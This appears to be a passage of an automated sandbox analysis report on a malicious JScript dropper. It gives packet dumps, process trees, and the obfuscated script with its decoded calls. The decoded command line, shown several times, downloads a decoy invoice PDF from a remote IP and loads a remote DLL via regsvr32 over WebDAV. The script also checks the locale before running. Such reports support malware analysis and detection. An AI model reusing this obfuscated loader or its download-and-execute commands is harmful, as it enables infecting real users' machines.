Jan 10, 2025 17:42:19.111435890 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 17:42:19.111449957 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 17:42:19.111558914 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 10, 2025 17:42:19.111571074 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 10, 2025 17:42:19.111701012 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 17:42:19.111721039 CET	1116	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 17:42:19.111732960 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 17:42:19.111745119 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 17:42:19.116240978 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49806	193.143.1.205	8888	2524	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:42:21.406858921 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 17:42:22.211817980 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:42:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	11:42:13
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12662108703247616042.js"
Imagebase:	0x7ff606c70000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:42:14
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Imagebase:	0x7ff7587d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:42:14
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:42:14
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:42:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:42:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7587d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:42:20
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69db00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:42:21
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	11:42:22
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:42:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,11837120087774493213,17159366251961695351,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function pvygthzh() {	pvygthzh() ➔ undefined
1	ohbpr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ngeaydis = this[vtxsaislv + pnwdjbl + emsbyn + bnfafi + appmaln + cedcygyf + lqndg + agigse] ( this[ltkpqpo + jkmmfix + fsbwtbnvl + emsbyn + wmxdq + vtxsaislv + agigse][nwcqe + emsbyn + appmaln + pnwdjbl + agigse + appmaln + aavutttc + eykok + bvvmsj + appmaln + fsbwtbnvl + agigse] ( ltkpqpo + jkmmfix + fsbwtbnvl + emsbyn + wmxdq + vtxsaislv + agigse + nmvfa + jkmmfix + gajnoxgw + appmaln + ovfvb + ovfvb ) [bvvku + appmaln + bwfcx + bvvku + appmaln + pnwdjbl + yvijhly] ( azbjno + scdzv + nihvi + sjdoirbg + nofkibhng + nwcqe + xcmul + bvvku + bvvku + nihvi + azgzocbby + oibzegez + nofkibhng + xcmul + jkmmfix + nihvi + bvvku + seewrrnhn + nwcqe + jyxesp + lqndg + agigse + emsbyn + jyxesp + ovfvb + lgyamd + fzzgtkx + pnwdjbl + lqndg + appmaln + ovfvb + seewrrnhn + cedcygyf + lqndg + agigse + appmaln + emsbyn + lqndg + pnwdjbl + agigse + wmxdq + jyxesp + lqndg + pnwdjbl + ovfvb + seewrrnhn + lhecs + jyxesp + fsbwtbnvl + pnwdjbl + ovfvb + appmaln ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( llerbve = 0 ; llerbve < ohbpr[ovfvb + appmaln + lqndg + bwfcx + agigse + gajnoxgw] ; ++ llerbve )
4	{
5	if ( ngeaydis == ohbpr[llerbve] )
6	{
7	ngeaydis = true;
8	break ;
9	}
10	}
11	if ( ngeaydis !== true )
12	this[ltkpqpo + jkmmfix + fsbwtbnvl + emsbyn + wmxdq + vtxsaislv + agigse][rdcbxridc + woponsrws + wmxdq + agigse] ( );
13	this[ltkpqpo + jkmmfix + fsbwtbnvl + emsbyn + wmxdq + vtxsaislv + agigse][nwcqe + emsbyn + appmaln + pnwdjbl + agigse + appmaln + aavutttc + eykok + bvvmsj + appmaln + fsbwtbnvl + agigse] ( ltkpqpo + jkmmfix + fsbwtbnvl + emsbyn + wmxdq + vtxsaislv + agigse + nmvfa + jkmmfix + gajnoxgw + appmaln + ovfvb + ovfvb ) [emsbyn + woponsrws + lqndg] ( fsbwtbnvl + flhwosbd + yvijhly + lgyamd + lwipr + fsbwtbnvl + lgyamd + vtxsaislv + jyxesp + fehgt + appmaln + emsbyn + bnfafi + gajnoxgw + appmaln + ovfvb + ovfvb + nmvfa + appmaln + wsgubi + appmaln + lgyamd + rxbnv + nwcqe + jyxesp + flhwosbd + flhwosbd + pnwdjbl + lqndg + yvijhly + lgyamd + gissbapjt + cedcygyf + lqndg + kavdve + jyxesp + lodjv + appmaln + rxbnv + ltkpqpo + appmaln + eykok + bvvku + appmaln + oxkyowggv + woponsrws + appmaln + bnfafi + agigse + lgyamd + rxbnv + aavutttc + woponsrws + agigse + nbjjeu + wmxdq + ovfvb + appmaln + lgyamd + jpnceg + agigse + appmaln + flhwosbd + vtxsaislv + jpnceg + seewrrnhn + wmxdq + lqndg + kavdve + jyxesp + wmxdq + fsbwtbnvl + appmaln + nmvfa + vtxsaislv + yvijhly + nhkalnp + lgyamd + gajnoxgw + agigse + agigse + vtxsaislv + osqojup + lwipr + lwipr + afjtxml + cdeixs + uzpeyq + nmvfa + afjtxml + yuhgcixl + uzpeyq + nmvfa + afjtxml + nmvfa + lcmdqvg + aypds + mxutvztb + lwipr + wmxdq + lqndg + kavdve + jyxesp + wmxdq + fsbwtbnvl + appmaln + nmvfa + vtxsaislv + gajnoxgw + vtxsaislv + gissbapjt + vncpdzsa + vncpdzsa + bnfafi + agigse + pnwdjbl + emsbyn + agigse + lgyamd + jpnceg + agigse + appmaln + flhwosbd + vtxsaislv + jpnceg + seewrrnhn + wmxdq + lqndg + kavdve + jyxesp + wmxdq + fsbwtbnvl + appmaln + nmvfa + vtxsaislv + yvijhly + nhkalnp + vncpdzsa + vncpdzsa + fsbwtbnvl + flhwosbd + yvijhly + lgyamd + lwipr + fsbwtbnvl + lgyamd + lqndg + appmaln + agigse + lgyamd + woponsrws + bnfafi + appmaln + lgyamd + seewrrnhn + seewrrnhn + afjtxml + cdeixs + uzpeyq + nmvfa + afjtxml + yuhgcixl + uzpeyq + nmvfa + afjtxml + nmvfa + lcmdqvg + aypds + mxutvztb + lvjyonkoa + mribxknzg + mribxknzg + mribxknzg + mribxknzg + seewrrnhn + yvijhly + pnwdjbl + kavdve + fehgt + fehgt + fehgt + emsbyn + jyxesp + jyxesp + agigse + seewrrnhn + vncpdzsa + vncpdzsa + fsbwtbnvl + flhwosbd + yvijhly + lgyamd + lwipr + fsbwtbnvl + lgyamd + emsbyn + appmaln + bwfcx + bnfafi + kavdve + emsbyn + uzpeyq + lcmdqvg + lgyamd + lwipr + bnfafi + lgyamd + seewrrnhn + seewrrnhn + afjtxml + cdeixs + uzpeyq + nmvfa + afjtxml + yuhgcixl + uzpeyq + nmvfa + afjtxml + nmvfa + lcmdqvg + aypds + mxutvztb + lvjyonkoa + mribxknzg + mribxknzg + mribxknzg + mribxknzg + seewrrnhn + yvijhly + pnwdjbl + kavdve + fehgt + fehgt + fehgt + emsbyn + jyxesp + jyxesp + agigse + seewrrnhn + lcmdqvg + ntpltw + kixikjkw + yuhgcixl + aypds + lcmdqvg + mribxknzg + mribxknzg + lcmdqvg + mribxknzg + lcmdqvg + afjtxml + kixikjkw + yuhgcixl + nmvfa + yvijhly + ovfvb + ovfvb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll",0,false) ➔ 0
14	}
15	nihvi = "N";
16	nihvi = "q";
17	nihvi = "n";
18	nihvi = "U";
19	nihvi = "f";
20	nihvi = "h";
21	nihvi = "X";
22	nihvi = "F";
23	nihvi = "f";
24	nihvi = "x";
25	nihvi = "C";
26	nihvi = "o";
27	nihvi = "O";
28	nihvi = "O";
29	nihvi = "A";
30	nihvi = "C";
31	nihvi = "C";
32	nihvi = "h";
33	nihvi = "Z";
34	nihvi = "g";
35	nihvi = "M";
36	nihvi = "h";
37	nihvi = "L";
38	nihvi = "N";
39	nihvi = "p";
40	nihvi = "Q";
41	nihvi = "w";
42	nihvi = "T";
43	nihvi = "o";
44	nihvi = "I";
45	nihvi = "p";
46	nihvi = "V";
47	nihvi = "L";
48	nihvi = "V";
49	nihvi = "c";
50	nihvi = "N";
51	nihvi = "v";
52	nihvi = "E";
53	ltkpqpo = "s";
54	ltkpqpo = "p";
55	ltkpqpo = "g";
56	ltkpqpo = "k";
57	ltkpqpo = "P";
58	ltkpqpo = "p";
59	ltkpqpo = "m";
60	ltkpqpo = "K";
61	ltkpqpo = "f";
62	ltkpqpo = "v";
63	ltkpqpo = "Z";
64	ltkpqpo = "f";
65	ltkpqpo = "Y";
66	ltkpqpo = "O";
67	ltkpqpo = "y";
68	ltkpqpo = "h";
69	ltkpqpo = "a";
70	ltkpqpo = "Y";
71	ltkpqpo = "E";
72	ltkpqpo = "I";
73	ltkpqpo = "r";
74	ltkpqpo = "I";
75	ltkpqpo = "P";
76	ltkpqpo = "M";
77	ltkpqpo = "N";
78	ltkpqpo = "E";
79	ltkpqpo = "W";
80	ltkpqpo = "U";
81	ltkpqpo = "b";
82	ltkpqpo = "O";
83	ltkpqpo = "s";
84	ltkpqpo = "J";
85	ltkpqpo = "O";
86	ltkpqpo = "P";
87	ltkpqpo = "g";
88	ltkpqpo = "P";
89	ltkpqpo = "a";
90	ltkpqpo = "M";
91	ltkpqpo = "x";
92	ltkpqpo = "v";
93	ltkpqpo = "W";
94	eykok = "e";
95	eykok = "g";
96	eykok = "R";
97	eykok = "b";
98	eykok = "W";
99	eykok = "K";
100	eykok = "n";
101	eykok = "s";
102	eykok = "q";
103	eykok = "u";
104	eykok = "h";
105	eykok = "n";
106	eykok = "R";
107	eykok = "U";
108	eykok = "F";
109	eykok = "I";
110	eykok = "f";
111	eykok = "j";
112	eykok = "I";
113	eykok = "t";
114	eykok = "G";
115	eykok = "V";
116	eykok = "E";
117	eykok = "f";
118	eykok = "s";
119	eykok = "N";
120	eykok = "s";
121	eykok = "o";
122	eykok = "b";
123	lvjyonkoa = "q";
124	lvjyonkoa = "T";
125	lvjyonkoa = "Y";
126	lvjyonkoa = "d";
127	lvjyonkoa = "H";
128	lvjyonkoa = "u";
129	lvjyonkoa = "M";
130	lvjyonkoa = "B";
131	lvjyonkoa = "h";
132	lvjyonkoa = "T";
133	lvjyonkoa = "H";
134	lvjyonkoa = "y";
135	lvjyonkoa = "@";
136	jyxesp = "x";
137	jyxesp = "k";
138	jyxesp = "b";
139	jyxesp = "S";
140	jyxesp = "o";
141	azbjno = "b";
142	azbjno = "e";
143	azbjno = "w";
144	azbjno = "L";
145	azbjno = "z";
146	azbjno = "h";
147	azbjno = "V";
148	azbjno = "P";
149	azbjno = "P";
150	azbjno = "R";
151	azbjno = "e";
152	azbjno = "L";
153	azbjno = "v";
154	azbjno = "V";
155	azbjno = "N";
156	azbjno = "e";
157	azbjno = "J";
158	azbjno = "f";
159	azbjno = "k";
160	azbjno = "G";
161	azbjno = "a";
162	azbjno = "G";
163	azbjno = "k";
164	azbjno = "j";
165	azbjno = "a";
166	azbjno = "X";
167	azbjno = "Z";
168	azbjno = "L";
169	azbjno = "h";
170	azbjno = "r";
171	azbjno = "b";
172	azbjno = "M";
173	azbjno = "H";
174	azbjno = "F";
175	azbjno = "d";
176	azbjno = "P";
177	azbjno = "U";
178	azbjno = "Q";
179	azbjno = "H";
180	wsgubi = "G";
181	wsgubi = "F";
182	wsgubi = "a";
183	wsgubi = "g";
184	wsgubi = "R";
185	wsgubi = "A";
186	wsgubi = "b";
187	wsgubi = "g";
188	wsgubi = "t";
189	wsgubi = "F";
190	wsgubi = "Y";
191	wsgubi = "k";
192	wsgubi = "m";
193	wsgubi = "x";
194	wsgubi = "P";
195	wsgubi = "y";
196	wsgubi = "A";
197	wsgubi = "A";
198	wsgubi = "c";
199	wsgubi = "e";
200	wsgubi = "D";
201	wsgubi = "E";
202	wsgubi = "M";
203	wsgubi = "K";
204	wsgubi = "G";
205	wsgubi = "v";
206	wsgubi = "w";
207	wsgubi = "u";
208	wsgubi = "l";
209	wsgubi = "E";
210	wsgubi = "U";
211	wsgubi = "f";
212	wsgubi = "i";
213	wsgubi = "g";
214	wsgubi = "p";
215	wsgubi = "x";
216	kavdve = "n";
217	kavdve = "k";
218	kavdve = "H";
219	kavdve = "P";
220	kavdve = "a";
221	kavdve = "X";
222	kavdve = "I";
223	kavdve = "w";
224	kavdve = "b";
225	kavdve = "Q";
226	kavdve = "w";
227	kavdve = "b";
228	kavdve = "y";
229	kavdve = "w";
230	kavdve = "L";
231	kavdve = "O";
232	kavdve = "I";
233	kavdve = "b";
234	kavdve = "X";
235	kavdve = "O";
236	kavdve = "p";
237	kavdve = "y";
238	kavdve = "s";
239	kavdve = "O";
240	kavdve = "c";
241	kavdve = "y";
242	kavdve = "i";
243	kavdve = "Z";
244	kavdve = "N";
245	kavdve = "r";
246	kavdve = "T";
247	kavdve = "J";
248	kavdve = "w";
249	kavdve = "V";
250	kavdve = "Y";
251	kavdve = "o";
252	kavdve = "q";
253	kavdve = "s";
254	kavdve = "p";
255	kavdve = "v";
256	gajnoxgw = "o";
257	gajnoxgw = "r";
258	gajnoxgw = "u";
259	gajnoxgw = "k";
260	gajnoxgw = "M";
261	gajnoxgw = "N";
262	gajnoxgw = "W";
263	gajnoxgw = "p";
264	gajnoxgw = "b";
265	gajnoxgw = "Y";
266	gajnoxgw = "C";
267	gajnoxgw = "l";
268	gajnoxgw = "o";
269	gajnoxgw = "g";
270	gajnoxgw = "r";
271	gajnoxgw = "w";
272	gajnoxgw = "W";
273	gajnoxgw = "R";
274	gajnoxgw = "u";
275	gajnoxgw = "h";
276	gajnoxgw = "h";
277	gajnoxgw = "M";
278	gajnoxgw = "Z";
279	gajnoxgw = "Z";
280	gajnoxgw = "j";
281	gajnoxgw = "U";
282	gajnoxgw = "Q";
283	gajnoxgw = "y";
284	gajnoxgw = "m";
285	gajnoxgw = "p";
286	gajnoxgw = "B";
287	gajnoxgw = "s";
288	gajnoxgw = "v";
289	gajnoxgw = "y";
290	gajnoxgw = "P";
291	gajnoxgw = "v";
292	gajnoxgw = "h";
293	gajnoxgw = "t";
294	gajnoxgw = "f";
295	gajnoxgw = "P";
296	gajnoxgw = "h";
297	wmxdq = "L";
298	wmxdq = "u";
299	wmxdq = "G";
300	wmxdq = "S";
301	wmxdq = "M";
302	wmxdq = "d";
303	wmxdq = "s";
304	wmxdq = "H";
305	wmxdq = "l";
306	wmxdq = "h";
307	wmxdq = "L";
308	wmxdq = "C";
309	wmxdq = "A";
310	wmxdq = "I";
311	wmxdq = "l";
312	wmxdq = "H";
313	wmxdq = "d";
314	wmxdq = "n";
315	wmxdq = "v";
316	wmxdq = "u";
317	wmxdq = "n";
318	wmxdq = "h";
319	wmxdq = "P";
320	wmxdq = "P";
321	wmxdq = "Z";
322	wmxdq = "k";
323	wmxdq = "L";
324	wmxdq = "L";
325	wmxdq = "L";
326	wmxdq = "i";
327	bvvku = "v";
328	bvvku = "T";
329	bvvku = "z";
330	bvvku = "d";
331	bvvku = "R";
332	fzzgtkx = "L";
333	fzzgtkx = "A";
334	fzzgtkx = "e";
335	fzzgtkx = "K";
336	fzzgtkx = "E";
337	fzzgtkx = "A";
338	fzzgtkx = "F";
339	fzzgtkx = "i";
340	fzzgtkx = "i";
341	fzzgtkx = "i";
342	fzzgtkx = "N";
343	fzzgtkx = "N";
344	fzzgtkx = "y";
345	fzzgtkx = "x";
346	fzzgtkx = "w";
347	fzzgtkx = "h";
348	fzzgtkx = "y";
349	fzzgtkx = "c";
350	fzzgtkx = "Z";
351	fzzgtkx = "D";
352	fzzgtkx = "H";
353	fzzgtkx = "R";
354	fzzgtkx = "A";
355	fzzgtkx = "I";
356	fzzgtkx = "z";
357	fzzgtkx = "k";
358	fzzgtkx = "u";
359	fzzgtkx = "w";
360	fzzgtkx = "D";
361	fzzgtkx = "j";
362	fzzgtkx = "n";
363	fzzgtkx = "H";
364	fzzgtkx = "r";
365	fzzgtkx = "Q";
366	fzzgtkx = "v";
367	fzzgtkx = "h";
368	fzzgtkx = "i";
369	fzzgtkx = "P";
370	oxkyowggv = "V";
371	oxkyowggv = "c";
372	oxkyowggv = "N";
373	oxkyowggv = "h";
374	oxkyowggv = "J";
375	oxkyowggv = "w";
376	oxkyowggv = "u";
377	oxkyowggv = "j";
378	oxkyowggv = "x";
379	oxkyowggv = "k";
380	oxkyowggv = "G";
381	oxkyowggv = "d";
382	oxkyowggv = "Z";
383	oxkyowggv = "G";
384	oxkyowggv = "Z";
385	oxkyowggv = "J";
386	oxkyowggv = "S";
387	oxkyowggv = "o";
388	oxkyowggv = "v";
389	oxkyowggv = "W";
390	oxkyowggv = "Q";
391	oxkyowggv = "Y";
392	oxkyowggv = "j";
393	oxkyowggv = "K";
394	oxkyowggv = "w";
395	oxkyowggv = "j";
396	oxkyowggv = "K";
397	oxkyowggv = "z";
398	oxkyowggv = "u";
399	oxkyowggv = "i";
400	oxkyowggv = "j";
401	oxkyowggv = "j";
402	oxkyowggv = "T";
403	oxkyowggv = "z";
404	oxkyowggv = "V";
405	oxkyowggv = "q";
406	afjtxml = "l";
407	afjtxml = "h";
408	afjtxml = "q";
409	afjtxml = "s";
410	afjtxml = "v";
411	afjtxml = "P";
412	afjtxml = "1";
413	jkmmfix = "N";
414	jkmmfix = "r";
415	jkmmfix = "H";
416	jkmmfix = "H";
417	jkmmfix = "J";
418	jkmmfix = "M";
419	jkmmfix = "f";
420	jkmmfix = "A";
421	jkmmfix = "v";
422	jkmmfix = "a";
423	jkmmfix = "L";
424	jkmmfix = "C";
425	jkmmfix = "a";
426	jkmmfix = "Q";
427	jkmmfix = "F";
428	jkmmfix = "V";
429	jkmmfix = "j";
430	jkmmfix = "O";
431	jkmmfix = "N";
432	jkmmfix = "c";
433	jkmmfix = "L";
434	jkmmfix = "W";
435	jkmmfix = "S";
436	bwfcx = "j";
437	bwfcx = "a";
438	bwfcx = "g";
439	bwfcx = "e";
440	bwfcx = "i";
441	bwfcx = "x";
442	bwfcx = "H";
443	bwfcx = "S";
444	bwfcx = "A";
445	bwfcx = "n";
446	bwfcx = "m";
447	bwfcx = "t";
448	bwfcx = "G";
449	bwfcx = "g";
450	nmvfa = "O";
451	nmvfa = "r";
452	nmvfa = "T";
453	nmvfa = "Q";
454	nmvfa = "z";
455	nmvfa = "C";
456	nmvfa = "x";
457	nmvfa = "G";
458	nmvfa = "Z";
459	nmvfa = "Q";
460	nmvfa = "q";
461	nmvfa = "u";
462	nmvfa = "R";
463	nmvfa = "Q";
